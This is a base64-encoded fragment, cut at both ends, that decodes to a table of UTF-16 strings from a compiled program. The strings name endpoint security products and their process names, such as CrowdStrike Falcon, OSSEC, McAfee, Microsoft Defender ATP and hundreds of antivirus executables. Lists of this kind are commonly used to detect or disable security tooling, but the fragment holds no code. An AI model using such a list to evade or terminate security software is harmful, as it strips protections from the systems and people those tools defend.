kAdQBtAGYAYQBuAHQAIABiAGUAaABhAHYAaQBvAHIAYQBsACAAYQBuAGEAbAB5AHMAaQBzAAAZQwBTAEYAYQBsAGMAbwBuAC4AZQB4AGUAAC1DAHIAbwB3AGQAUwB0AHIAaQBrAGUAIABGAGEAbABjAG8AbgAgAEUARABSAAATbwBzAHMAZQBjAC4AZQB4AGUAADNPAFMAUwBFAEMAIABpAG4AdAByAHUAcwBpAG8AbgAgAGQAZQB0AGUAYwB0AGkAbwBuAAATVABtAFAAZgB3AC4AZQB4AGUAAClUAHIAZQBuAGQAIABNAGkAYwByAG8AIABmAGkAcgBlAHcAYQBsAGwAABdkAGcAYQBnAGUAbgB0AC4AZQB4AGUAADtWAGUAcgBkAGEAcwB5AHMAIABEAGkAZwBpAHQAYQBsACAARwB1AGEAcgBkAGkAYQBuACAARABMAFAAABNrAHYAbwBvAHAALgBlAHgAZQAAGSAARABMAFAAIABwAHIAbwBjAGUAcwBzAAAXQQBBAFcAVAByAGEAeQAuAGUAeABlAAAZYQBjAGsAdwBpAG4AMwAyAC4AZQB4AGUAABlBAGQALQBBAHcAYQByAGUALgBlAHgAZQABF2EAZABhAHcAYQByAGUALgBlAHgAZQAAGWEAZAB2AHgAZAB3AGkAbgAuAGUAeABlAAAZYQBnAGUAbgB0AHMAdgByAC4AZQB4AGUAABVhAGcAZQBuAHQAdwAuAGUAeABlAAAZYQBsAGUAcgB0AHMAdgBjAC4AZQB4AGUAABVhAGwAZQB2AGkAcgAuAGUAeABlAAAZYQBsAG8AZwBzAGUAcgB2AC4AZQB4AGUAABVhAG0AbwBuADkAeAAuAGUAeABlAAAfYQBuAHQAaQAtAHQAcgBvAGoAYQBuAC4AZQB4AGUAARthAG4AdABpAHYAaQByAHUAcwAuAGUAeABlAAARYQBuAHQAcwAuAGUAeABlAAAdYQBwAGkAbQBvAG4AaQB0AG8AcgAuAGUAeABlAAAZYQBwAGwAaQBjAGEAMwAyAC4AZQB4AGUAABlhAHAAdgB4AGQAdwBpAG4ALgBlAHgAZQAAD2EAcgByAC4AZQB4AGUAABNhAHQAYwBvAG4ALgBlAHgAZQAAF2EAdABnAHUAYQByAGQALgBlAHgAZQAAGWEAdAByAG8ANQA1AGUAbgAuAGUAeABlAAAbYQB0AHUAcABkAGEAdABlAHIALgBlAHgAZQAAF2EAdAB3AGEAdABjAGgALgBlAHgAZQAADWEAdQAuAGUAeABlAAAXYQB1AHAAZABhAHQAZQAuAGUAeABlAAAzYQB1AHQAbwAtAHAAcgBvAHQAZQBjAHQALgBuAGEAdgA4ADAAdAByAHkALgBlAHgAZQABGWEAdQB0AG8AZABvAHcAbgAuAGUAeABlAAAZYQB1AHQAbwByAHUAbgBzAC4AZQB4AGUAABthAHUAdABvAHIAdQBuAHMAYwAuAGUAeABlAAAbYQB1AHQAbwB0AHIAYQBjAGUALgBlAHgAZQAAHWEAdQB0AG8AdQBwAGQAYQB0AGUALgBlAHgAZQAAGWEAdgBjAG8AbgBzAG8AbAAuAGUAeABlAAATYQB2AGUAMwAyAC4AZQB4AGUAABdhAHYAZwBjAGMAMwAyAC4AZQB4AGUAABdhAHYAZwBjAHQAcgBsAC4AZQB4AGUAABVhAHYAZwBlAG0AYwAuAGUAeABlAAATYQB2AGcAbgB0AC4AZQB4AGUAABVhAHYAZwByAHMAeAAuAGUAeABlAAAXYQB2AGcAcwBlAHIAdgAuAGUAeABlAAAZYQB2AGcAcwBlAHIAdgA5AC4AZQB4AGUAABdhAHYAZwB1AGEAcgBkAC4AZQB4AGUAABlhAHYAZwB3AGQAcwB2AGMALgBlAHgAZQAAE2EAdgBnAHUAaQAuAGUAeABlAAARYQB2AGcAdwAuAGUAeABlAAAVYQB2AGsAcABvAHAALgBlAHgAZQAAF2EAdgBrAHMAZQByAHYALgBlAHgAZQAAHWEAdgBrAHMAZQByAHYAaQBjAGUALgBlAHgAZQAAGWEAdgBrAHcAYwB0AGwAOQAuAGUAeABlAAAZYQB2AGwAdABtAGEAaQBuAC4AZQB4AGUAABFhAHYAbgB0AC4AZQB4AGUAAA9hAHYAcAAuAGUAeABlAAATYQB2AHAAMwAyAC4AZQB4AGUAABNhAHYAcABjAGMALgBlAHgAZQAAGWEAdgBwAGQAbwBzADMAMgAuAGUAeABlAAARYQB2AHAAbQAuAGUAeABlAAAXYQB2AHAAdABjADMAMgAuAGUAeABlAAAVYQB2AHAAdQBwAGQALgBlAHgAZQAAG2EAdgBzAGMAaABlAGQAMwAyAC4AZQB4AGUAABlhAHYAcwB5AG4AbQBnAHIALgBlAHgAZQAAE2EAdgB3AGkAbgAuAGUAeABlAAAXYQB2AHcAaQBuADkANQAuAGUAeABlAAAXYQB2AHcAaQBuAG4AdAAuAGUAeABlAAAVYQB2AHcAdQBwAGQALgBlAHgAZQAAGWEAdgB3AHUAcABkADMAMgAuAGUAeABlAAAZYQB2AHcAdQBwAHMAcgB2AC4AZQB4AGUAACFhAHYAeABtAG8AbgBpAHQAbwByADkAeAAuAGUAeABlAAAhYQB2AHgAbQBvAG4AaQB0AG8AcgBuAHQALgBlAHgAZQAAF2EAdgB4AHEAdQBhAHIALgBlAHgAZQAAF2IAYQBjAGsAdwBlAGIALgBlAHgAZQAAGWIAYQByAGcAYQBpAG4AcwAuAGUAeABlAAAnYgBkAF8AcAByAG8AZgBlAHMAcwBpAG8AbgBhAGwALgBlAHgAZQAAFWIAZQBhAGcAbABlAC4AZQB4AGUAABFiAGUAbAB0AC4AZQB4AGUAABNiAGkAZABlAGYALgBlAHgAZQAAG2IAaQBkAHMAZQByAHYAZQByAC4AZQB4AGUAABNiAGkAcABjAHAALgBlAHgAZQAAJWIAaQBwAGMAcABlAHYAYQBsAHMAZQB0AHUAcAAuAGUAeABlAAARYgBpAHMAcAAuAGUAeABlAAAVYgBsAGEAYwBrAGQALgBlAHgAZQAAGWIAbABhAGMAawBpAGMAZQAuAGUAeABlAAATYgBsAGkAbgBrAC4AZQB4AGUAABFiAGwAcwBzAC4AZQB4AGUAABliAG8AbwB0AGMAbwBuAGYALgBlAHgAZQAAGWIAbwBvAHQAdwBhAHIAbgAuAGUAeABlAAATYgBvAHIAZwAyAC4AZQB4AGUAAA9iAHAAYwAuAGUAeABlAAAVYgByAGEAcwBpAGwALgBlAHgAZQAAE2IAcwAxADIAMAAuAGUAeABlAAAVYgB1AG4AZABsAGUALgBlAHgAZQAAD2IAdgB0AC4AZQB4AGUAABNjAGMAYQBwAHAALgBlAHgAZQAAGWMAYwBlAHYAdABtAGcAcgAuAGUAeABlAAAZYwBjAHAAeAB5AHMAdgBjAC4AZQB4AGUAABljAGMAUwB2AGMASABzAHQALgBlAHgAZQAAD2MAZABwAC4AZQB4AGUAAA9jAGYAZAAuAGUAeABlAAAVYwBmAGcAdwBpAHoALgBlAHgAZQAAGWMAZgBpAGEAZABtAGkAbgAuAGUAeABlAAAZYwBmAGkAYQB1AGQAaQB0AC4AZQB4AGUAABVjAGYAaQBuAGUAdAAuAGUAeABlAAAZYwBmAGkAbgBlAHQAMwAyAC4AZQB4AGUAABVjAGwAYQB3ADkANQAuAGUAeABlAAAZYwBsAGEAdwA5ADUAYwBmAC4AZQB4AGUAABNjAGwAZQBhAG4ALgBlAHgAZQAAF2MAbABlAGEAbgBlAHIALgBlAHgAZQAAGWMAbABlAGEAbgBlAHIAMwAuAGUAeABlAAAXYwBsAGUAYQBuAHAAYwAuAGUAeABlAAAXYwBsAGUAYQBuAHUAcAAuAGUAeABlAAATYwBsAGkAYwBrAC4AZQB4AGUAABljAG0AZABhAGcAZQBuAHQALgBlAHgAZQAAFWMAbQBlAHMAeQBzAC4AZQB4AGUAABljAG0AZwByAGQAaQBhAG4ALgBlAHgAZQAAF2MAbQBvAG4AMAAxADYALgBlAHgAZQAAK2MAbwBuAG4AZQBjAHQAaQBvAG4AbQBvAG4AaQB0AG8AcgAuAGUAeABlAAAPYwBwAGQALgBlAHgAZQAAGWMAcABmADkAeAAyADAANgAuAGUAeABlAAAZYwBwAGYAbgB0ADIAMAA2AC4AZQB4AGUAABFjAHQAcgBsAC4AZQB4AGUAAA1jAHYALgBlAHgAZQAAF2MAdwBuAGIAMQA4ADEALgBlAHgAZQAAGWMAdwBuAHQAZAB3AG0AbwAuAGUAeABlAAAbQwB5AGwAYQBuAGMAZQBVAEkALgBlAHgAZQAAG0MAeQBQAHIAbwB0AGUAYwB0AC4AZQB4AGUAABlDAHkAVQBwAGQAYQB0AGUALgBlAHgAZQAAGWMAeQBzAGUAcgB2AGUAcgAuAGUAeABlAAAVYwB5AHQAcgBhAHkALgBlAHgAZQAAI0MAeQB2AGUAcgBhAFMAZQByAHYAaQBjAGUALgBlAHgAZQAAH2QAYQB0AGUAbQBhAG4AYQBnAGUAcgAuAGUAeABlAAATZABjAG8AbQB4AC4AZQB4AGUAABlkAGUAZgBhAGwAZQByAHQALgBlAHgAZQAAHWQAZQBmAHMAYwBhAG4AZwB1AGkALgBlAHgAZQAAGWQAZQBmAHcAYQB0AGMAaAAuAGUAeABlAAAVZABlAHAAdQB0AHkALgBlAHgAZQAAEWQAaQB2AHgALgBlAHgAZQAAGWQAZwBwAHIAbwBtAHAAdAAuAGUAeABlAAAbRABnAFMAZQByAHYAaQBjAGUALgBlAHgAZQAAGWQAbABsAGMAYQBjAGgAZQAuAGUAeABlAAAVZABsAGwAcgBlAGcALgBlAHgAZQAAE2QAbwBvAHIAcwAuAGUAeABlAAAPZABwAGYALgBlAHgAZQAAGWQAcABmAHMAZQB0AHUAcAAuAGUAeABlAAATZABwAHAAcwAyAC4AZQB4AGUAABlkAHIAdwBhAHQAcwBvAG4ALgBlAHgAZQAAF2QAcgB3AGUAYgAzADIALgBlAHgAZQAAGWQAcgB3AGUAYgB1AHAAdwAuAGUAeABlAAAZZABzAHMAYQBnAGUAbgB0AC4AZQB4AGUAABdkAHUAbQBwAGMAYQBwAC4AZQB4AGUAABNkAHYAcAA5ADUALgBlAHgAZQAAF2QAdgBwADkANQBfADAALgBlAHgAZQAAGWUAYwBlAG4AZwBpAG4AZQAuAGUAeABlAAAXZQBmAHAAZQBhAGQAbQAuAGUAeABlAAARZQBnAHUAaQAuAGUAeABlAAARZQBrAHIAbgAuAGUAeABlAAAdZQBtAGUAdABfAGEAZwBlAG4AdAAuAGUAeABlAAAhZQBtAGUAdABfAHMAZQByAHYAaQBjAGUALgBlAHgAZQAAEWUAbQBzAHcALgBlAHgAZQAAIWUAbgBnAGkAbgBlAHMAZQByAHYAZQByAC4AZQB4AGUAAA9lAG4AdAAuAGUAeABlAAATZQBzAGEAZgBlAC4AZQB4AGUAABllAHMAYwBhAG4AaABuAHQALgBlAHgAZQAAGWUAcwBjAGEAbgB2ADkANQAuAGUAeABlAAAZZQBzAHAAdwBhAHQAYwBoAC4AZQB4AGUAABllAHQAaABlAHIAZQBhAGwALgBlAHgAZQAAHWUAdAByAHUAcwB0AGMAaQBwAGUALgBlAHgAZQAAEWUAdgBwAG4ALgBlAHgAZQAAKWUAeABhAG4AdABpAHYAaQByAHUAcwAtAGMAbgBlAHQALgBlAHgAZQABGWUAeABlAC4AYQB2AHgAdwAuAGUAeABlAAAVZQB4AHAAZQByAHQALgBlAHgAZQAAF2UAeABwAGwAbwByAGUALgBlAHgAZQAAGWYALQBhAGcAbgB0ADkANQAuAGUAeABlAAEVZgAtAHAAcgBvAHQALgBlAHgAZQABGWYALQBwAHIAbwB0ADkANQAuAGUAeABlAAEXZgAtAHMAdABvAHAAdwAuAGUAeABlAAEXZgBhAG0AZQBoADMAMgAuAGUAeABlAAARZgBhAHMAdAAuAGUAeABlAAATZgBjAGgAMwAyAC4AZQB4AGUAABdmAGMAYQBnAHMAdwBkAC4AZQB4AGUAACFNAGMAQQBmAGUAZQAgAEQATABQACAAQQBnAGUAbgB0AAATZgBjAGEAZwBzAC4AZQB4AGUAABNmAGkAaAAzADIALgBlAHgAZQAAGWYAaQBuAGQAdgBpAHIAdQAuAGUAeABlAAAXZgBpAHIAZQBzAHYAYwAuAGUAeABlAABBTQBjAEEAZgBlAGUAIABIAG8AcwB0ACAASQBuAHQAcgB1AHMAaQBvAG4AIABQAHIAZQB2AGUAbgB0AGkAbwBuAAAZZgBpAHIAZQB0AHIAYQB5AC4AZQB4AGUAABlmAGkAcgBlAHcAYQBsAGwALgBlAHgAZQAAFWYAbgByAGIAMwAyAC4AZQB4AGUAABVmAHAALQB3AGkAbgAuAGUAeABlAAEhZgBwAC0AdwBpAG4AXwB0AHIAaQBhAGwALgBlAHgAZQABE2YAcAByAG8AdAAuAGUAeABlAAApZgByAGEAbQBlAHcAbwByAGsAcwBlAHIAdgBpAGMAZQAuAGUAeABlAAAXZgByAG0AaQBuAHMAdAAuAGUAeABlAAAPZgByAHcALgBlAHgAZQAAEWYAcwBhAGEALgBlAHgAZQAAEWYAcwBhAHYALgBlAHgAZQAAFWYAcwBhAHYAMwAyAC4AZQB4AGUAACFmAHMAYQB2ADUAMwAwAHMAdABiAHkAYgAuAGUAeABlAAAhZgBzAGEAdgA1ADMAMAB3AHQAYgB5AGIALgBlAHgAZQAAFWYAcwBhAHYAOQA1AC4AZQB4AGUAABVmAHMAZwBrADMAMgAuAGUAeABlAAATZgBzAG0AMwAyAC4AZQB4AGUAABVmAHMAbQBhADMAMgAuAGUAeABlAAAVZgBzAG0AYgAzADIALgBlAHgAZQAAE2cAYQB0AG8AcgAuAGUAeABlAAAVZwBiAG0AZQBuAHUALgBlAHgAZQAAFWcAYgBwAG8AbABsAC4AZQB4AGUAABlnAGUAbgBlAHIAaQBjAHMALgBlAHgAZQAAD2cAbQB0AC4AZQB4AGUAABNnAHUAYQByAGQALgBlAHgAZQAAGWcAdQBhAHIAZABkAG8AZwAuAGUAeABlAAAnaABhAGMAawB0AHIAYQBjAGUAcgBzAGUAdAB1AHAALgBlAHgAZQAAFWgAYgBpAG4AcwB0AC4AZQB4AGUAABNoAGIAcwByAHYALgBlAHgAZQAAHUgAaQBqAGEAYwBrAFQAaABpAHMALgBlAHgAZQAAFWgAaQBwAHMAdgBjAC4AZQB4AGUAABdIAGkAcABNAGcAbQB0AC4AZQB4AGUAAEFNAGMAQQBmAGUAZQAgAEgAbwBzAHQAIABJAG4AdAByAHUAcwBpAG8AbgAgAFAAcgBvAHQAZQBjAHQAaQBvAG4AABloAG8AdABhAGMAdABpAG8ALgBlAHgAZQAAGWgAbwB0AHAAYQB0AGMAaAAuAGUAeABlAAATaAB0AGwAbwBnAC4AZQB4AGUAABdoAHQAcABhAHQAYwBoAC4AZQB4AGUAABFoAHcAcABlAC4AZQB4AGUAABFoAHgAZABsAC4AZQB4AGUAABNoAHgAaQB1AGwALgBlAHgAZQAAFWkAYQBtAGEAcABwAC4AZQB4AGUAABdpAGEAbQBzAGUAcgB2AC4AZQB4AGUAABlpAGEAbQBzAHQAYQB0AHMALgBlAHgAZQAAFWkAYgBtAGEAcwBuAC4AZQB4AGUAABdpAGIAbQBhAHYAcwBwAC4AZQB4AGUAABlpAGMAbABvAGEAZAA5ADUALgBlAHgAZQAAGWkAYwBsAG8AYQBkAG4AdAAuAGUAeABlAAATaQBjAG0AbwBuAC4AZQB4AGUAABlpAGMAcwB1AHAAcAA5ADUALgBlAHgAZQAAGWkAYwBzAHUAcABwAG4AdAAuAGUAeABlAAARaQBkAGwAZQAuAGUAeABlAAATaQBlAGQAbABsAC4AZQB4AGUAABlpAGUAZAByAGkAdgBlAHIALgBlAHgAZQAAE2kAZgBhAGMAZQAuAGUAeABlAAAXaQBmAHcAMgAwADAAMAAuAGUAeABlAAAZaQBuAGUAdABsAG4AZgBvAC4AZQB4AGUAABNpAG4AZgB1AHMALgBlAHgAZQAAFWkAbgBmAHcAaQBuAC4AZQB4AGUAABFpAG4AaQB0AC4AZQB4AGUAABVpAG4AdABkAGUAbAAuAGUAeABlAAAVaQBuAHQAcgBlAG4ALgBlAHgAZQAAF2kAbwBtAG8AbgA5ADgALgBlAHgAZQAAFWkAcwB0AHMAdgBjAC4AZQB4AGUAABVqAGEAbQBtAGUAcgAuAGUAeABlAAAXagBkAGIAZwBtAHIAZwAuAGUAeABlAAARagBlAGQAaQAuAGUAeABlAAAhawBhAHYAbABpAHQAZQA0ADAAZQBuAGcALgBlAHgAZQAAIWsAYQB2AHAAZQByAHMANAAwAGUAbgBnAC4AZQB4AGUAABNrAGEAdgBwAGYALgBlAHgAZQAAE2sAYQB6AHoAYQAuAGUAeABlAAAbawBlAGUAbgB2AGEAbAB1AGUALgBlAHgAZQAAL2sAZQByAGkAbwAtAHAAZgAtADIAMQAzAC0AZQBuAC0AdwBpAG4ALgBlAHgAZQABMWsAZQByAGkAbwAtAHcAcgBsAC0ANAAyADEALQBlAG4ALQB3AGkAbgAuAGUAeABlAAExawBlAHIAaQBvAC0AdwByAHAALQA0ADIAMQAtAGUAbgAtAHcAaQBuAC4AZQB4AGUAARlrAGUAcgBuAGUAbAAzADIALgBlAHgAZQAAF0sAZQB5AFAAYQBzAHMALgBlAHgAZQAAL2sAaQBsAGwAcAByAG8AYwBlAHMAcwBzAGUAdAB1AHAAMQA2ADEALgBlAHgAZQAAGWwAYQB1AG4AYwBoAGUAcgAuAGUAeABlAAAZbABkAG4AZQB0AG0AbwBuAC4AZQB4AGUAABNsAGQAcAByAG8ALgBlAHgAZQAAG2wAZABwAHIAbwBtAGUAbgB1AC4AZQB4AGUAABVsAGQAcwBjAGEAbgAuAGUAeABlAAAZbABuAGUAdABpAG4AZgBvAC4AZQB4AGUAABVsAG8AYQBkAGUAcgAuAGUAeABlAAAZbABvAGMAYQBsAG4AZQB0AC4AZQB4AGUAABlsAG8AYwBrAGQAbwB3AG4ALgBlAHgAZQAAIWwAbwBjAGsAZABvAHcAbgAyADAAMAAwAC4AZQB4AGUAABdsAG8AbwBrAG8AdQB0AC4AZQB4AGUAABVsAG8AcgBkAHAAZQAuAGUAeABlAAAVbABzAGUAdAB1AHAALgBlAHgAZQAAE2wAdQBhAGwAbAAuAGUAeABlAAARbAB1AGEAdQAuAGUAeABlAAAfbAB1AGMAbwBtAHMAZQByAHYAZQByAC4AZQB4AGUAABVsAHUAaQBuAGkAdAAuAGUAeABlAAATbAB1AHMAcAB0AC4AZQB4AGUAABttAGEAcABpAHMAdgBjADMAMgAuAGUAeABlAAATbQBhAHMAdgBjAC4AZQB4AGUAABlNAGMAQQBmAGUAZQAgAEEAZwBlAG4AdAAAH20AYgBhAG0AcwBlAHIAdgBpAGMAZQAuAGUAeABlAAAdbQBjAGEAZgBlAGUAZgBpAHIAZQAuAGUAeABlAAAXbQBjAGEAZwBlAG4AdAAuAGUAeABlAAAZbQBjAG0AbgBoAGQAbAByAC4AZQB4AGUAABltAGMAcwBjAHIAaQBwAHQALgBlAHgAZQAAJW0AYwBzAGMAcgBpAHAAdABfAGkAbgB1AHMAZQAuAGUAeABlAAAVbQBjAHQAbwBvAGwALgBlAHgAZQAAFW0AYwB0AHIAYQB5AC4AZQB4AGUAABltAGMAdQBwAGQAYQB0AGUALgBlAHgAZQAAF20AYwB2AHMAcgB0AGUALgBlAHgAZQAAGW0AYwB2AHMAcwBoAGwAZAAuAGUAeABlAAANbQBkAC4AZQB4AGUAABVtAGYAZQBhAG4AbgAuAGUAeABlAAA3TQBjAEEAZgBlAGUAIABWAGkAcgB1AHMAUwBjAGEAbgAgAEUAbgB0AGUAcgBwAHIAaQBzAGUAABltAGYAZQBtAGEAYwB0AGwALgBlAHgAZQAAF20AZgBlAHYAdABwAHMALgBlAHgAZQAAFW0AZgBpAG4AMwAyAC4AZQB4AGUAABVtAGYAdwAyAGUAbgAuAGUAeABlAAAjbQBmAHcAZQBuAGcAMwAuADAAMgBkADMAMAAuAGUAeABlAAAZbQBnAGEAdgByAHQAYwBsAC4AZQB4AGUAABdtAGcAYQB2AHIAdABlAC4AZQB4AGUAABVtAGcAaAB0AG0AbAAuAGUAeABlAAARbQBnAHUAaQAuAGUAeABlAAAXbQBpAG4AaQBsAG8AZwAuAGUAeABlAAAdbQBpAG4AaQBvAG4AaABvAHMAdAAuAGUAeABlAAARbQBtAG8AZAAuAGUAeABlAAAXbQBvAG4AaQB0AG8AcgAuAGUAeABlAAAXbQBvAG8AbABpAHYAZQAuAGUAeABlAAAVbQBvAHMAdABhAHQALgBlAHgAZQAAGW0AcABmAGEAZwBlAG4AdAAuAGUAeABlAAAdbQBwAGYAcwBlAHIAdgBpAGMAZQAuAGUAeABlAAAXbQBwAGYAdAByAGEAeQAuAGUAeABlAAAVbQByAGYAbAB1AHgALgBlAHgAZQAAE20AcwBhAHAAcAAuAGUAeABlAAARbQBzAGIAYgAuAGUAeABlAAAXbQBzAGIAbABhAHMAdAAuAGUAeABlAAAXbQBzAGMAYQBjAGgAZQAuAGUAeABlAAAXbQBzAGMAYwBuADMAMgAuAGUAeABlAAAVbQBzAGMAbQBhAG4ALgBlAHgAZQAAGW0AcwBjAG8AbgBmAGkAZwAuAGUAeABlAAARbQBzAGQAbQAuAGUAeABlAAATbQBzAGQAbwBzAC4AZQB4AGUAABttAHMAaQBlAHgAZQBjADEANgAuAGUAeABlAAAZbQBzAGkAbgBmAG8AMwAyAC4AZQB4AGUAABdtAHMAbABhAHUAZwBoAC4AZQB4AGUAABNtAHMAbQBnAHQALgBlAHgAZQAAG20AcwBtAHMAZwByAGkAMwAyAC4AZQB4AGUAABdNAHMAUwBlAG4AcwBlAC4AZQB4AGUAAC1NAGkAYwByAG8AcwBvAGYAdAAgAEQAZQBmAGUAbgBkAGUAcgAgAEEAVABQAAAZbQBzAHMAbQBtAGMAMwAyAC4AZQB4AGUAABNtAHMAcwB5AHMALgBlAHgAZQAAE20AcwB2AHgAZAAuAGUAeABlAAAZbQB1ADAAMwAxADEAYQBkAC4AZQB4AGUAABVtAHcAYQB0AGMAaAAuAGUAeABlAAAZbgAzADIAcwBjAGEAbgB3AC4AZQB4AGUAABluAGEAcAByAGQAbQBnAHIALgBlAHgAZQAAD24AYQB2AC4AZQB4AGUAACVuAGEAdgBhAHAALgBuAGEAdgBhAHAAcwB2AGMALgBlAHgAZQAAGW4AYQB2AGEAcABzAHYAYwAuAGUAeABlAAAZbgBhAHYAYQBwAHcAMwAyAC4AZQB4AGUAABNuAGEAdgBkAHgALgBlAHgAZQAAF24AYQB2AGwAdQAzADIALgBlAHgAZQAAE24AYQB2AG4AdAAuAGUAeABlAAAXbgBhAHYAcwB0AHUAYgAuAGUAeABlAAAVbgBhAHYAdwAzADIALgBlAHgAZQAAFW4AYQB2AHcAbgB0AC4AZQB4AGUAABVuAGMAMgAwADAAMAAuAGUAeABlAAAXbgBjAGkAbgBzAHQANAAuAGUAeABlAAATbgBkAGQAMwAyAC4AZQB4AGUAAB1uAGUAbwBtAG8AbgBpAHQAbwByAC4AZQB4AGUAAB9uAGUAbwB3AGEAdABjAGgAbABvAGcALgBlAHgAZQAAGW4AZQB0AGEAcgBtAG8AcgAuAGUAeABlAAAVbgBlAHQAZAAzADIALgBlAHgAZQAAF24AZQB0AGkAbgBmAG8ALgBlAHgAZQAAFW4AZQB0AG0AbwBuAC4AZQB4AGUAAB1uAGUAdABzAGMAYQBuAHAAcgBvAC4AZQB4AGUAACluAGUAdABzAHAAeQBoAHUAbgB0AGUAcgAtADEALgAyAC4AZQB4AGUAARduAGUAdABzAHQAYQB0AC4AZQB4AGUAABluAGUAdAB1AHQAaQBsAHMALgBlAHgAZQAAF24AaQBzAHMAZQByAHYALgBlAHgAZQAAE24AaQBzAHUAbQAuAGUAeABlAAATbgBtAGEAaQBuAC4AZQB4AGUAABNuAG8AZAAzADIALgBlAHgAZQAAF24AbwByAG0AaQBzAHQALgBlAHgAZQAAQW4AbwByAHQAbwBuAF8AaQBuAHQAZQByAG4AZQB0AF8AcwBlAGMAdQBfADMALgAwAF8ANAAwADcALgBlAHgAZQAAGW4AbwB0AHMAdABhAHIAdAAuAGUAeABlAAAxbgBwAGYANAAwAF8AdAB3AF8AOQA4AF8AbgB0AF8AbQBlAF8AMgBrAC4AZQB4AGUAACFuAHAAZgBtAGUAcwBzAGUAbgBnAGUAcgAuAGUAeABlAAAZbgBwAHIAbwB0AGUAYwB0AC4AZQB4AGUAABluAHAAcwBjAGgAZQBjAGsALgBlAHgAZQAAFW4AcABzAHMAdgBjAC4AZQB4AGUAABluAHMAYwBoAGUAZAAzADIALgBlAHgAZQAAF24AcwBzAHkAcwAzADIALgBlAHgAZQAAGW4AcwB0AGEAcwBrADMAMgAuAGUAeABlAAAZbgBzAHUAcABkAGEAdABlAC4AZQB4AGUAAA1uAHQALgBlAHgAZQAAGW4AdAByAHQAcwBjAGEAbgAuAGUAeABlAAATbgB0AHYAZABtAC4AZQB4AGUAABtuAHQAeABjAG8AbgBmAGkAZwAuAGUAeABlAAAPbgB1AGkALgBlAHgAZQAAGW4AdQBwAGcAcgBhAGQAZQAuAGUAeABlAAAZbgB2AGEAcgBjAGgAMQA2AC4AZQB4AGUAABNuAHYAYwA5ADUALgBlAHgAZQAAF24AdgBzAHYAYwAzADIALgBlAHgAZQAAF24AdwBpAG4AcwB0ADQALgBlAHgAZQAAG24AdwBzAGUAcgB2AGkAYwBlAC4AZQB4AGUAABluAHcAdABvAG8AbAAxADYALgBlAHgAZQAAE24AeABsAG8AZwAuAGUAeABlAAAXbwBsAGwAeQBkAGIAZwAuAGUAeABlAAAVbwBuAHMAcgB2AHIALgBlAHgAZQAAGW8AcAB0AGkAbQBpAHoAZQAuAGUAeABlAAAZbwBzAHQAcgBvAG4AZQB0AC4AZQB4AGUAABlvAHMAcQB1AGUAcgB5AGQALgBlAHgAZQAAE28AdABmAGkAeAAuAGUAeABlAAAXbwB1AHQAcABvAHMAdAAuAGUAeABlAAAlbwB1AHQAcABvAHMAdABpAG4AcwB0AGEAbABsAC4AZQB4AGUAACtvAHUAdABwAG8AcwB0AHAAcgBvAGkAbgBzAHQAYQBsAGwALgBlAHgAZQAAFXAAYQBkAG0AaQBuAC4AZQB4AGUAABVwAGEAbgBpAHgAawAuAGUAeABlAAATcABhAHQAYwBoAC4AZQB4AGUAABNwAGEAdgBjAGwALgBlAHgAZQAAGXAAYQB2AHAAcgBvAHgAeQAuAGUAeABlAAAZcABhAHYAcwBjAGgAZQBkAC4AZQB4AGUAABFwAGEAdgB3AC4AZQB4AGUAABlwAGMAYwB3AGkAbgA5ADgALgBlAHgAZQAAH3AAYwBmAHcAYQBsAGwAaQBjAG8AbgAuAGUAeABlAAAfcABjAGkAcAAxADAAMQAxADcAXwAwAC4AZQB4AGUAABVwAGMAcwBjAGEAbgAuAGUAeABlAAAXcABkAHMAZQB0AHUAcAAuAGUAeABlAAAbcABlAHIAaQBzAGMAbwBwAGUALgBlAHgAZQAAFXAAZQByAHMAZgB3AC4AZQB4AGUAABVwAGUAcgBzAHcAZgAuAGUAeABlAAAPcABmADIALgBlAHgAZQAAGXAAZgB3AGEAZABtAGkAbgAuAGUAeABlAAAZcABnAG0AbwBuAGkAdAByAC4AZQB4AGUAABlwAGkAbgBnAHMAYwBhAG4ALgBlAHgAZQAAFXAAbABhAHQAaQBuAC4AZQB4AGUAABlwAG8AcAAzAHQAcgBhAHAALgBlAHgAZQAAF3AAbwBwAHIAbwB4AHkALgBlAHgAZQAAF3AAbwBwAHMAYwBhAG4ALgBlAHgAZQAAI3AAbwByAHQAZABlAHQAZQBjAHQAaQB2AGUALgBlAHgAZQAAH3AAbwByAHQAbQBvAG4AaQB0AG8AcgAuAGUAeABlAAAbcABvAHcAZQByAHMAYwBhAG4ALgBlAHgAZQAAGXAAcABpAG4AdQBwAGQAdAAuAGUAeABlAAATcABwAHQAYgBjAC4AZQB4AGUAABdwAHAAdgBzAHQAbwBwAC4AZQB4AGUAAB9wAHIAaQB6AGUAcwB1AHIAZgBlAHIALgBlAHgAZQAAEXAAcgBtAHQALgBlAHgAZQAAE3AAcgBtAHYAcgAuAGUAeABlAAAZcAByAG8AYwBkAHUAbQBwAC4AZQB4AGUAACVwAHIAbwBjAGUAcwBzAG0AbwBuAGkAdABvAHIALgBlAHgAZQAAF3AAcgBvAGMAZQB4AHAALgBlAHgAZQAAG3AAcgBvAGMAZQB4AHAANgA0AC4AZQB4AGUAAClwAHIAbwBjAGUAeABwAGwAbwByAGUAcgB2ADEALgAwAC4AZQB4AGUAABdwAHIAbwBjAG0AbwBuAC4AZQB4AGUAACVwAHIAbwBnAHIAYQBtAGEAdQBkAGkAdABvAHIALgBlAHgAZQAAF3AAcgBvAHAAbwByAHQALgBlAHgAZQAAGXAAcgBvAHQAZQBjAHQAeAAuAGUAeABlAAARcABzAHAAZgAuAGUAeABlAAATcAB1AHIAZwBlAC4AZQB4AGUAABlxAGMAbwBuAHMAbwBsAGUALgBlAHgAZQAAF3EAcwBlAHIAdgBlAHIALgBlAHgAZQAAFXIAYQBwAGEAcABwAC4AZQB4AGUAABFyAGEAdgA3AC4AZQB4AGUAABdyAGEAdgA3AHcAaQBuAC4AZQB4AGUAACFyAGEAdgA4AHcAaQBuADMAMgBlAG4AZwAuAGUAeABlAAAPcgBhAHkALgBlAHgAZQAAEXIAYgAzADIALgBlAHgAZQAAFXIAYwBzAHkAbgBjAC4AZQB4AGUAABdyAGUAYQBsAG0AbwBuAC4AZQB4AGUAABNyAGUAZwBlAGQALgBlAHgAZQAAF3IAZQBnAGUAZABpAHQALgBlAHgAZQAAGXIAZQBnAGUAZAB0ADMAMgAuAGUAeABlAAAVcgBlAHMAYwB1AGUALgBlAHgAZQAAGXIAZQBzAGMAdQBlADMAMgAuAGUAeABlAAAXcgByAGcAdQBhAHIAZAAuAGUAeABlAAAXcgB0AHYAcwBjAGEAbgAuAGUAeABlAAAZcgB0AHYAcwBjAG4AOQA1AC4AZQB4AGUAABlyAHUAbABh